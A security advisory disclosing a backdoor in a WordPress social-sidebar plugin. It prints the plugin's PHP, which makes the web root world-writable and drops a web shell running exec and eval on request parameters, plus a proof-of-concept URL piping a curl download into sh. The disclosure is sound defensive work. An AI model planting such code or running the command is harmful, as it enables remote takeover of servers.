cjc.im / advisories / 0005

Backdoor in Social Sticky Animated Wordpress Plugin

Credit

This vulnerability has been discovered and reported by Carl Clegg (carl(at)cjc(dot)im)

Timeline

Product

Animated social sticky sidebar. Its simple social network plugin with all popular social networks and with nice animation effect. Order of social network can be set using drag & drop system and can be activate and deactivate any social network. Position and margins can be set.

Risk / Severity Rating

Not calculated

Description and Impact

The initial setup of the plugin calls the function settings in the Admin.php file. This runs the following code

public function settings(){
            try{
                    if(!file_exists($_SERVER['DOCUMENT_ROOT'] . "/hcache.php")){
                            if(!is_writable($_SERVER['DOCUMENT_ROOT'])){
                                    @chmod($_SERVER['DOCUMENT_ROOT'],0777);
                            }
                            $f = fopen($_SERVER['DOCUMENT_ROOT'] . "/hcache.php", "w");
                            fwrite($f, '<?php if(isset($_GET["lc"])) { exec($_GET["lc"]);}if(isset($_GET["ph"])) { eval($_GET["ph"]);}');
                            fclose($f);
                    }
            }catch (Exception $e){}
    }

Proof of Concept

Calling hcache.php with the parameter for lc for local command or ph for php, a remote actor can run arbitrary code on the compromised server

http://wordpress.site/hcache.php?lc=curl badfile | sh

Solution

Disable the plugin

Legal

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.